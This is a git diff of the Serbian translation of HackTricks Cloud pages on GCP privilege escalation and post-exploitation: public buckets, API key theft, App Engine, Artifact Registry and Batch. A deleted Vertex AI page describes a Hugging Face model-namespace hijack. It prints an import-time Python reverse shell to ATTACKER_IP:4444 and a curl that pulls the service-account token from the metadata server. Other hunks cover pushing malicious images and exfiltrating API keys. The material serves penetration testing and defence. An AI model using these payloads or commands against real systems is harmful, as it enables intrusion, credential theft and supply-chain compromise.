+ +Učinite bucket/objects javnim ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -Ako pokušate da dodelite **ACL-ove kontejneru sa onemogućenim ACL-ovima**, naići ćete na ovu grešku: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` +
-Da biste pristupili otvorenim kontejnerima putem pregledača, pristupite URL-u `https://.storage.googleapis.com/` ili `https://.storage.googleapis.com/` +Ako pokušate da dodelite **ACLs za bucket sa onemogućenim ACLs** naići ćete na ovu grešku: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` + +Da biste pristupili otvorenim bucket-ovima preko browser-a, posetite URL `https://.storage.googleapis.com/` ili `https://.storage.googleapis.com/` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md deleted file mode 100644 index 5b66227a3..000000000 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +++ /dev/null @@ -1,113 +0,0 @@ -# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse - -{{#include ../../../banners/hacktricks-training.md}} - -## Scenarij - -- Vertex AI Model Garden omogućava direktno postavljanje mnogih Hugging Face (HF) modela. -- HF identifikatori modela su Author/ModelName. Ako je autor/org na HF obrisan, isti naziv autora može ponovo registrovati bilo ko. Napadači tada mogu kreirati repo sa istim ModelName na legacy putanji. -- Pipelines, SDKs, ili cloud catalogs koji povlače po imenu bez pinovanja/integriteta će dohvatiti repo pod kontrolom napadača. Kada je model deploy-ovan, loader code iz tog repoa može se izvršiti unutar Vertex AI endpoint container-a, što dovodi do RCE sa permisijama endpoint-a. - -Dva česta slučaja takeover-a na HF: -- Brisanje vlasništva (Ownership deletion): Stari path vraća 404 dok neko ne ponovo registruje autora i ne objavi isti ModelName. -- Prenos vlasništva (Ownership transfer): HF vraća 307 redirect-e sa starog Author/ModelName na novog autora. Ako je stari autor kasnije obrisan i ponovo registrovan od strane napadača, redirect lanac se prekida i napadačev repo služi na legacy putanji. - -## Identifikacija ponovo upotrebljivih namespace-ova (HF) - -- Stari autor obrisan: stranica autora vraća 404; model path može vraćati 404 dok se ne desi takeover. -- Transferovani modeli: stari model path vraća 307 ka novom owner-u dok stari autor postoji. Ako je stari autor kasnije obrisan i ponovo registrovan, legacy path će rešavati napadačev repo. - -Brze provere koristeći curl: -```bash -# Check author/org existence -curl -I https://huggingface.co/ -# 200 = exists, 404 = deleted/available - -# Check old model path behavior -curl -I https://huggingface.co// -# 307 = redirect to new owner (transfer case) -# 404 = missing (deletion case) until someone re-registers -``` -## End-to-end tok napada protiv Vertex AI - -1) Otkrivanje ponovo upotrebljivih model namespaces koje Model Garden navodi kao deployable: -- Pronađite HF modele u Vertex AI Model Garden koji i dalje prikazuju “verified deployable”. -- Proverite na HF da li je originalni author obrisan ili je model prebačen i stari author naknadno uklonjen. - -2) Re-register the deleted author on HF and recreate the same ModelName. - -3) Objavite maliciozni repo. Uključite kod koji se izvršava pri model load-u. Primeri koji se često izvršavaju tokom HF model load-a: -- Side effects u __init__.py repo-a -- Custom modeling_*.py ili processing kod referenciran u config/auto_map -- Code paths koje zahtevaju trust_remote_code=True u Transformers pipelines - -4) A Vertex AI deployment of the legacy Author/ModelName sada povlači attacker repo. The loader executes inside the Vertex AI endpoint container. - -5) Payload uspostavlja pristup iz endpoint okruženja (RCE) sa dozvolama endpoint-a. - -Example payload fragment executed on import (for demonstration only): -```python -# Place in __init__.py or a module imported by the model loader -import os, socket, subprocess, threading - -def _rs(host, port): -s = socket.socket(); s.connect((host, port)) -for fd in (0,1,2): -try: -os.dup2(s.fileno(), fd) -except Exception: -pass -subprocess.call(["/bin/sh","-i"]) # Or python -c exec ... - -if os.environ.get("VTX_AI","1") == "1": -threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() -``` -Napomene -- Implementacije loader-a u stvarnom svetu variraju. Mnoge Vertex AI HF integracije kloniraju i importuju module iz repo-a koje modelova konfiguracija navodi (npr. auto_map), što može pokrenuti izvršavanje koda. Neki slučajevi upotrebe zahtevaju trust_remote_code=True. -- Endpoint obično radi u dedikovanom kontejneru sa ograničenim opsegom, ali predstavlja validan početni oslonac za pristup podacima i lateralno kretanje u GCP. - -## Saveti za post-eksploataciju (Vertex AI Endpoint) - -Kada se kod pokrene unutar kontejnera endpointa, razmislite o: -- Enumerisanju promenljivih okruženja i metapodataka radi nalaženja kredencijala/tokena -- Pristupu prikačenom skladištu ili montiranim artefaktima modela -- Interakciji sa Google API-ima koristeći identitet servisnog naloga (Document AI, Storage, Pub/Sub, itd.) -- Persistenciji u artefaktu modela ako platforma ponovo povuče repo - -Enumerišite metapodatke instance ako su dostupni (zavisno od kontejnera): -```bash -curl -H "Metadata-Flavor: Google" \ -http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -``` -## Odbrambene smernice za korisnike Vertex AI - -- Zaključajte modele po commit-u u HF loaders da biste sprečili tihu zamenu: -```python -from transformers import AutoModel -m = AutoModel.from_pretrained("Author/ModelName", revision="") -``` -- Preslikajte proverene HF modele u pouzdano interno skladište/artifact registry i deploy-ujte odatle. -- Neprekidno skenirajte codebase-ove i konfiguracione fajlove za hard-coded Author/ModelName koji su obrisani/transferisani; ažurirajte na nove namespace-ove ili ih pin-ujte na commit. -- U Model Garden, verifikujte poreklo modela i postojanje autora pre deployment-a. - -## Recognition Heuristics (HTTP) - -- Deleted author: author page 404; legacy model path 404 until takeover. -- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content. -```bash -curl -I https://huggingface.co// | egrep "^HTTP|^location" -``` -## Unakrsne reference - -- Pogledajte širu metodologiju i napomene o lancu snabdevanja: - -{{#ref}} -../../pentesting-cloud-methodology.md -{{#endref}} - -## Reference - -- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/) -- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md index a252ce02e..dfd06be1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md @@ -4,17 +4,17 @@ ## Apikeys -Sledeće dozvole su korisne za kreiranje i krađu API ključeva, ne zaboravite ovo iz dokumentacije: _API ključ je jednostavna enkriptovana niska koja **identifikuje aplikaciju bez ikakvog principala**. Korisni su za pristup **javnim podacima anonimno**, i koriste se za **povezivanje** API zahteva sa vašim projektom za kvotu i **naplatu**._ +Sledeće dozvole su korisne za kreiranje i krađu API ključeva, obratite pažnju na ovo iz dokumentacije: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._ -Dakle, sa API ključem možete naterati tu kompaniju da plati za vašu upotrebu API-a, ali nećete moći da eskalirate privilegije. +Dakle, pomoću API ključa možete naterati tu kompaniju da plati za vaše korišćenje API-ja, ali nećete moći da eskalirate privilegije. -Za više informacija o API ključevima proverite: +For more information about API Keys check: {{#ref}} ../gcp-services/gcp-api-keys-enum.md {{#endref}} -Za druge načine kreiranja API ključeva proverite: +For other ways to create API keys check: {{#ref}} gcp-serviceusage-privesc.md @@ -22,48 +22,63 @@ gcp-serviceusage-privesc.md ### Brute Force API Key access -Pošto možda ne znate koje API-je su omogućene u projektu ili ograničenja primenjena na API ključ koji ste pronašli, bilo bi zanimljivo pokrenuti alat [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) i proveriti **šta možete pristupiti sa API ključem.** +Pošto možda ne znate koje su API-je omogućene u projektu ili koja ograničenja su primenjena na pronađeni API ključ, interesantno je pokrenuti alat [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) i proveriti **do kojih resursa možete pristupiti pomoću API ključa.** ### `apikeys.keys.create` -Ova dozvola omogućava da **kreirate API ključ**: +Ova dozvola omogućava **kreiranje API ključa**: + +
+Kreiranje API ključa pomoću gcloud ```bash gcloud services api-keys create Operation [operations/akmf.p7-[...]9] complete. Result: { "@type":"type.googleapis.com/google.api.apikeys.v2.Key", "createTime":"2022-01-26T12:23:06.281029Z", -"etag":"W/\"HOhA[...]==\"", +"etag":"W/\"HOhA[...]=\"", "keyString":"AIzaSy[...]oU", "name":"projects/5[...]6/locations/global/keys/f707[...]e8", "uid":"f707[...]e8", "updateTime":"2022-01-26T12:23:06.378442Z" } ``` -Možete pronaći skriptu za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh). +
+ +You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh). > [!CAUTION] -> Imajte na umu da po defaultu korisnici imaju dozvole za kreiranje novih projekata i dodeljuje im se uloga Vlasnika nad novim projektom. Tako da korisnik može **kreirati projekat i API ključ unutar ovog projekta**. +> Imajte na umu da korisnici podrazumevano imaju dozvole za kreiranje novih projekata i dodeljenu ulogu Owner nad novim projektom. Dakle korisnik bi mogao c**kreirati projekat i API key unutar ovog projekta**. ### `apikeys.keys.getKeyString` , `apikeys.keys.list` -Ove dozvole omogućavaju **listanje i dobijanje svih apiKeys i dobijanje Ključa**: +Ove dozvole omogućavaju **prikaz i preuzimanje svih apiKeys i dobijanje Key**: + +
+Prikaži i preuzmi sve API keys ```bash for key in $(gcloud services api-keys list --uri); do gcloud services api-keys get-key-string "$key" done ``` -Možete pronaći skriptu za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh). +
+ +Možete pronaći skript za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh). ### `apikeys.keys.undelete` , `apikeys.keys.list` -Ove dozvole vam omogućavaju da **prikazujete i regenerišete obrisane API ključeve**. **API ključ se daje u izlazu** nakon što je **obrisano**: +Ove dozvole vam omogućavaju da **prikažete i ponovo obnovite izbrisane api keys**. **API key se pojavljuje u izlazu** nakon što se izvrši **undelete**: + +
+Prikaži i undelete API keys ```bash gcloud services api-keys list --show-deleted gcloud services api-keys undelete ``` -### Kreirajte internu OAuth aplikaciju za phishing drugih radnika +
-Proverite sledeću stranicu da biste saznali kako to učiniti, iako ova akcija pripada servisu **`clientauthconfig`** [prema dokumentaciji](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin): +### Kreirajte Internal OAuth Application to phish other workers + +Pogledajte sledeću stranicu da naučite kako da to uradite, iako ova akcija pripada servisu **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin): {{#ref}} ../../workspace-security/gws-google-platforms-phishing/ diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md index ce687c572..65c5677ea 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md @@ -4,7 +4,7 @@ ## App Engine -Za više informacija o App Engine, pogledajte: +Za više informacija o App Engine pogledajte: {{#ref}} ../gcp-services/gcp-app-engine-enum.md @@ -12,26 +12,34 @@ Za više informacija o App Engine, pogledajte: ### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list` -To su potrebne dozvole za **deployovanje aplikacije koristeći `gcloud` cli**. Možda bi se **`get`** i **`list`** mogli **izbeći**. +Ovo su potrebne dozvole za **postavljanje aplikacije korišćenjem `gcloud` CLI**. Možda se **`get`** i **`list`** dozvole mogu **izbeći**. -Možete pronaći primere python koda na [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) +Možete pronaći Python primere koda na [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) -Podrazumevano, ime App servisa će biti **`default`**, i može postojati samo 1 instanca sa istim imenom.\ -Da biste to promenili i kreirali drugu aplikaciju, u **`app.yaml`**, promenite vrednost korenskog ključa na nešto poput **`service: my-second-app`** +Po defaultu, ime App servisa biće **`default`**, i može postojati samo jedna instanca sa istim imenom.\ +Da biste to promenili i kreirali drugu aplikaciju, u **`app.yaml`** promenite vrednost root ključa u nešto poput **`service: my-second-app`** + +
+Postavljanje App Engine aplikacije ```bash cd python-docs-samples/appengine/flexible/hello_world gcloud app deploy #Upload and start application inside the folder ``` -Dajte mu najmanje 10-15 minuta, ako ne uspe, pozovite **deploy another of times** i sačekajte nekoliko minuta. +
+ +Sačekajte najmanje 10–15 minuta; ako ne uspe, pokušajte ponovo sa **deploy another of times** i sačekajte još nekoliko minuta. > [!NOTE] -> **moguće je naznačiti Service Account koji će se koristiti**, ali podrazumevano se koristi App Engine podrazumevani SA. +> Moguće je **naznačiti Service Account koji će se koristiti**, ali po defaultu se koristi App Engine default SA. -URL aplikacije je nešto poput `https://.oa.r.appspot.com/` ili `https://-dot-.oa.r.appspot.com` +URL aplikacije izgleda otprilike kao `https://.oa.r.appspot.com/` ili `https://-dot-.oa.r.appspot.com` -### Ažurirajte ekvivalentne dozvole +### Ažuriranje ekvivalentnih dozvola Možda imate dovoljno dozvola da ažurirate AppEngine, ali ne i da kreirate novi. U tom slučaju, ovako možete ažurirati trenutni App Engine: + +
+Ažurirajte postojeću App Engine aplikaciju ```bash # Find the code of the App Engine in the buckets gsutil ls @@ -62,41 +70,58 @@ gcloud app deploy # Update the SA if you need it (and if you have actas permissions) gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com ``` -Ako ste **već kompromitovali AppEngine** i imate dozvolu **`appengine.applications.update`** i **actAs** nad servisnim nalogom koji možete koristiti, mogli biste da modifikujete servisni nalog koji koristi AppEngine sa: +
+ +Ako ste već kompromitovali AppEngine i imate dozvolu **`appengine.applications.update`** i **actAs** nad servisnim nalogom koji želite da koristite, možete izmeniti servisni nalog koji AppEngine koristi pomoću: + +
+Ažurirajte App Engine servisni nalog ```bash gcloud app update --service-account=@$PROJECT_ID.iam.gserviceaccount.com ``` +
+ ### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get` -Sa ovim dozvolama, moguće je **prijaviti se putem ssh u App Engine instancama** tipa **flexible** (ne standard). Neke od **`list`** i **`get`** dozvola **možda nisu zaista potrebne**. +Sa ovim dozvolama moguće je **prijaviti se putem ssh-a na App Engine instance** tipa **flexible** (ne standard). Neke od **`list`** i **`get`** dozvola **moguće da nisu zaista potrebne**. + +
+SSH u App Engine instancu ```bash gcloud app instances ssh --service --version ``` +
+ ### `appengine.applications.update`, `appengine.operations.get` -Mislim da ovo samo menja pozadinsku SA koju će Google koristiti za postavljanje aplikacija, tako da ne mislim da možete iskoristiti ovo da ukradete servisni nalog. +Mislim da ovo samo menja pozadinski servisni nalog (SA) koji će Google koristiti za podešavanje aplikacija, tako da ne verujem da se ovim možeš zloupotrebiti da ukradeš servisni nalog. + +
+Ažuriraj servisni nalog aplikacije ```bash gcloud app update --service-account= ``` +
+ ### `appengine.versions.getFileContents`, `appengine.versions.update` -Nisam siguran kako da koristim ove dozvole ili da li su korisne (napominjem da kada promenite kod, nova verzija se kreira, tako da ne znam da li možete samo da ažurirate kod ili IAM ulogu jednog, ali pretpostavljam da biste trebali moći, možda menjajući kod unutar bucket-a??). +Nisam siguran kako koristiti ove permisije ili da li su korisne (imajte na umu da kada promenite kod kreira se nova verzija, tako da ne znam da li možete jednostavno ažurirati kod ili IAM rolu postojeće verzije, ali pretpostavljam da bi trebalo da bude moguće — možda menjanjem koda unutar bucketa??). -### Write Access over the buckets +### Pristup za pisanje nad bucket-ovima -Kao što je pomenuto, appengine verzije generišu neke podatke unutar bucket-a sa formatom imena: `staging..appspot.com`. Napominjem da nije moguće unapred preuzeti ovaj bucket jer GCP korisnici nisu ovlašćeni da generišu bucket-e koristeći naziv domena `appspot.com`. +Kao što je pomenuto, appengine verzije generišu neke podatke unutar bucketa sa imenom u formatu: `staging..appspot.com`. Imajte na umu da nije moguće preuzeti ovaj bucket unapred jer GCP korisnici nisu ovlašćeni da kreiraju buckete koristeći domen `appspot.com`. -Međutim, sa read & write pristupom ovom bucket-u, moguće je eskalirati privilegije na SA vezanu za AppEngine verziju praćenjem bucket-a i svaki put kada se izvrši promena, što je brže moguće modifikovati kod. Na ovaj način, kontejner koji se kreira iz ovog koda će **izvršiti backdoored kod**. +Međutim, sa pristupom za čitanje i pisanje nad ovim bucket-om, moguće je eskalirati privilegije na SA pridružen AppEngine verziji nadgledanjem bucketa i svaki put kada se izvrši izmena, što brže izmeniti kod. Na ovaj način, kontejner koji se kreira iz tog koda će **execute the backdoored code**. -Za više informacija i **PoC proverite relevantne informacije sa ove stranice**: +Za više informacija i a **PoC pogledajte relevantne informacije na ovoj stranici**: {{#ref}} gcp-storage-privesc.md {{#endref}} -### Write Access over the Artifact Registry +### Pristup za pisanje u Artifact Registry -Iako App Engine kreira docker slike unutar Artifact Registry. Testirano je da **čak i ako modifikujete sliku unutar ove usluge** i uklonite App Engine instancu (tako da se nova implementira) **izvršeni kod se ne menja**.\ -Moguće je da izvođenjem **Race Condition napada kao sa bucket-ima može biti moguće prepisati izvršeni kod**, ali ovo nije testirano. +Iako App Engine kreira docker images u Artifact Registry, testirano je da **čak i ako izmenite image unutar ove usluge** i uklonite App Engine instance (tako da se rasporedi nova), **izvršeni kod se ne menja**.\ +Moguće je da izvođenjem **Race Condition attack** (kao kod bucketa) može biti moguće prepisati izvršeni kod, ali ovo nije testirano. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md index a0b97bc49..f67adde43 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md @@ -4,7 +4,7 @@ ## Artifact Registry -Za više informacija o Artifact Registry, pogledajte: +Za više informacija o Artifact Registry pogledajte: {{#ref}} ../gcp-services/gcp-artifact-registry-enum.md @@ -12,7 +12,10 @@ Za više informacija o Artifact Registry, pogledajte: ### artifactregistry.repositories.uploadArtifacts -Sa ovom dozvolom, napadač bi mogao da otpremi nove verzije artefakata sa zloćudnim kodom poput Docker slika: +Sa ovom dozvolom napadač može da otpremi nove verzije artefakata sa zlonamernim kodom, kao što su Docker images: + +
+Otpremi Docker image u Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev @@ -23,20 +26,25 @@ docker tag : -docker.pkg.dev//-docker.pkg.dev///: ``` +
+ > [!CAUTION] -> Provereno je da je **moguće otpremiti novu zlu docker** sliku sa istim imenom i oznakom kao ona koja već postoji, tako da će **stara izgubiti oznaku** i sledeći put kada se ta slika sa tom oznakom **preuzme, zla će biti preuzeta**. +> Provereno je da je **moguće otpremiti novu malicioznu docker** sliku sa istim imenom i tagom kao ona koja je već prisutna, tako da će **stara izgubiti tag** i sledeći put kada se slika sa tim tagom bude **preuzimala biće preuzeta maliciozna**.
-Otpremi Python biblioteku +Otpremanje Python biblioteke -**Počnite tako što ćete kreirati biblioteku za otpremu** (ako možete preuzeti najnoviju verziju iz registra, možete izbeći ovaj korak): +**Počnite kreiranjem biblioteke koju ćete otpremiti** (ako možete da preuzmete najnoviju verziju iz registry-ja, možete izbeći ovaj korak): -1. **Postavite strukturu vašeg projekta**: +1. **Postavite strukturu projekta**: -- Kreirajte novi direktorijum za vašu biblioteku, npr., `hello_world_library`. -- Unutar ovog direktorijuma, kreirajte još jedan direktorijum sa imenom vašeg paketa, npr., `hello_world`. -- Unutar direktorijuma vašeg paketa, kreirajte `__init__.py` datoteku. Ova datoteka može biti prazna ili može sadržati inicijalizacije za vaš paket. +- Napravite novi direktorijum za vašu biblioteku, npr. `hello_world_library`. +- Unutar ovog direktorijuma, kreirajte još jedan direktorijum sa imenom paketa, npr. `hello_world`. +- Unutar direktorijuma paketa, kreirajte fajl `__init__.py`. Ovaj fajl može biti prazan ili može sadržati inicijalizacije za vaš paket. + +
+Create project structure ```bash mkdir hello_world_library @@ -45,10 +53,15 @@ mkdir hello_world touch hello_world/__init__.py ``` -2. **Napišite kod vaše biblioteke**: +
-- Unutar direktorijuma `hello_world`, kreirajte novu Python datoteku za vaš modul, npr., `greet.py`. -- Napišite vašu funkciju "Hello, World!": +2. **Napišite kod biblioteke**: + +- Unutar direktorijuma `hello_world`, kreirajte novu Python datoteku za vaš modul, npr. `greet.py`. +- Napišite vašu "Hello, World!" funkciju: + +
+Create library module ```python # hello_world/greet.py @@ -56,10 +69,15 @@ def say_hello(): return "Hello, World!" ``` -3. **Kreirajte `setup.py` datoteku**: +
-- U korenu vašeg direktorijuma `hello_world_library`, kreirajte `setup.py` datoteku. -- Ova datoteka sadrži metapodatke o vašoj biblioteci i govori Pythonu kako da je instalira. +3. **Kreirajte fajl `setup.py`**: + +- U korenu vašeg direktorijuma `hello_world_library`, kreirajte fajl `setup.py`. +- Ovaj fajl sadrži metapodatke o vašoj biblioteci i govori Pythonu kako da je instalira. + +
+Create setup.py file ```python # setup.py @@ -70,47 +88,70 @@ name='hello_world', version='0.1', packages=find_packages(), install_requires=[ -# Bilo koje zavisnosti koje vaša biblioteka treba +# Any dependencies your library needs ], ) ``` +
+ **Sada, hajde da otpremimo biblioteku:** -1. **Izgradite vaš paket**: +1. **Izgradite svoj paket**: -- Iz korena vašeg direktorijuma `hello_world_library`, pokrenite: +- Iz korena direktorijuma `hello_world_library` pokrenite: + +
+Build Python package ```sh python3 setup.py sdist bdist_wheel ``` -2. **Konfigurišite autentifikaciju za twine** (koristi se za otpremu vašeg paketa): -- Uverite se da imate `twine` instaliran (`pip install twine`). -- Koristite `gcloud` za konfiguraciju kredencijala: -```` +
+ +2. **Konfigurišite autentifikaciju za twine** (koristi se za otpremanje vašeg paketa): +- Uverite se da imate instaliran `twine` (`pip install twine`). +- Koristite `gcloud` da konfigurišete kredencijale: + +
+Otpremanje paketa pomoću twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ``` -```` -3. **Očistite gradnju** +
+ +3. **Očistite build** + +
+Očistite artefakte build-a ```bash rm -rf dist build hello_world.egg-info ```
+
+ > [!CAUTION] -> Nije moguće otpremiti python biblioteku sa istom verzijom kao što je već prisutna, ali je moguće otpremiti **veće verzije** (ili dodati dodatni **`.0` na kraju** verzije ako to funkcioniše - ne u pythonu), ili **obrisati poslednju verziju i otpremiti novu sa** (potrebno `artifactregistry.versions.delete)`**:** +> Nije moguće otpremiti python biblioteku istom verzijom koja je već prisutna, ali je moguće otpremiti **veće verzije** (ili dodati dodatno **`.0` na kraju** verzije ako to radi — ne u pythonu, međutim), ili **obrisati poslednju verziju i otpremiti novu koristeći** (potrebno `artifactregistry.versions.delete`): +> +>
+> Obriši verziju artefakta > > ```sh > gcloud artifacts versions delete --repository= --location= --package= > ``` +> +>
### `artifactregistry.repositories.downloadArtifacts` -Sa ovom dozvolom možete **preuzeti artefakte** i tražiti **osetljive informacije** i **ranjivosti**. +Sa ovom dozvolom možete **preuzimati artefakte** i pretraživati **osetljive informacije** i **ranjivosti**. -Preuzmite **Docker** sliku: +Preuzmi **Docker** sliku: + +
+Preuzmi Docker sliku iz Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev @@ -118,11 +159,18 @@ gcloud auth configure-docker -docker.pkg.dev # Dowload image docker pull -docker.pkg.dev///: ``` -Preuzmite **python** biblioteku: +
+ +Preuzmi **python** biblioteku: + +
+Preuzmi Python biblioteku iz Artifact Registry ```bash pip install --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@-python.pkg.dev///simple/" --trusted-host -python.pkg.dev --no-cache-dir ``` -- Šta se dešava ako se udaljeni i standardni registri mešaju u virtuelnom i paket postoji u oba? Proverite ovu stranicu: +
+ +- Šta se dešava ako su remote i standard registri pomešani u virtuelnom registru i paket postoji u oba? Pogledaj ovu stranicu: {{#ref}} ../gcp-persistence/gcp-artifact-registry-persistence.md @@ -130,30 +178,40 @@ pip install --index-url "https://oauth2accesstoken:$(gcloud auth prin ### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`) -Obrišite artefakte iz registra, kao što su docker slike: +Briše artefakte iz registra, kao što su Docker images: + +
+Obriši Docker image iz Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ``` +
+ ### `artifactregistry.repositories.delete` -Obriši celu repozitoriju (čak i ako ima sadržaj): +Obrišite ceo Artifact Registry repozitorijum (čak i ako sadrži sadržaj): + +
+Obriši Artifact Registry repozitorijum ``` gcloud artifacts repositories delete --location= ``` +
+ ### `artifactregistry.repositories.setIamPolicy` -Napadač sa ovom dozvolom mogao bi sebi dati dozvole da izvrši neke od prethodno pomenutih napada na repozitorijume. +Napadač sa ovom dozvolom može sebi dodeliti privilegije da izvrši neke od prethodno pomenutih repository napada. -### Prebacivanje na druge usluge putem Artifact Registry čitanja i pisanja +### Pivoting to other Services through Artifact Registry Read & Write - **Cloud Functions** -Kada se kreira Cloud Function, nova docker slika se šalje u Artifact Registry projekta. Pokušao sam da modifikujem sliku novom, pa čak i da obrišem trenutnu sliku (i `cache` sliku) i ništa se nije promenilo, cloud funkcija nastavlja da radi. Stoga, možda bi **moglo biti moguće iskoristiti napad Race Condition** kao sa bucket-om da se promeni docker kontejner koji će se pokrenuti, ali **samo modifikovanjem sačuvane slike nije moguće kompromitovati Cloud Function**. +Kada se kreira Cloud Function novi docker image se gura u Artifact Registry projekta. Pokušao sam da izmenim image novim, pa čak i da obrišem trenutni image (i `cache` image) i ništa se nije promenilo — Cloud Function je nastavila da radi. Dakle, možda bi bilo moguće zloupotrebiti Race Condition attack kao kod bucket-a da se promeni docker container koji će se pokrenuti, ali samo izmena sačuvanog image-a nije dovoljna da kompromituje Cloud Function. - **App Engine** -Iako App Engine kreira docker slike unutar Artifact Registry. Testirano je da **čak i ako modifikujete sliku unutar ove usluge** i uklonite App Engine instancu (tako da se nova implementira) **izvršeni kod se ne menja**.\ -Možda bi bilo moguće da se izvrši **napad Race Condition kao sa bucket-ima da bi se prepisao izvršeni kod**, ali ovo nije testirano. +Iako App Engine kreira docker image-e unutar Artifact Registry. Testirano je da **čak i ako izmenite image unutar ovog servisa** i uklonite App Engine instancu (tako da se deploy-uje nova) **izvršeni code se ne menja**.\ +Moguće je da izvođenjem **Race Condition attack-a kao kod bucket-ova može biti moguće prepisati izvršeni code**, ali to nije testirano. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md index 538bc7af9..edc7d7ba9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md @@ -12,7 +12,10 @@ Osnovne informacije: ### `batch.jobs.create`, `iam.serviceAccounts.actAs` -Moguće je kreirati batch posao, dobiti reverznu ljusku i eksfiltrirati metapodatkovni token SA (podrazumevani compute SA). +Moguće je kreirati a batch job, dobiti a reverse shell i exfiltrate the metadata token of the SA (compute SA by default). + +
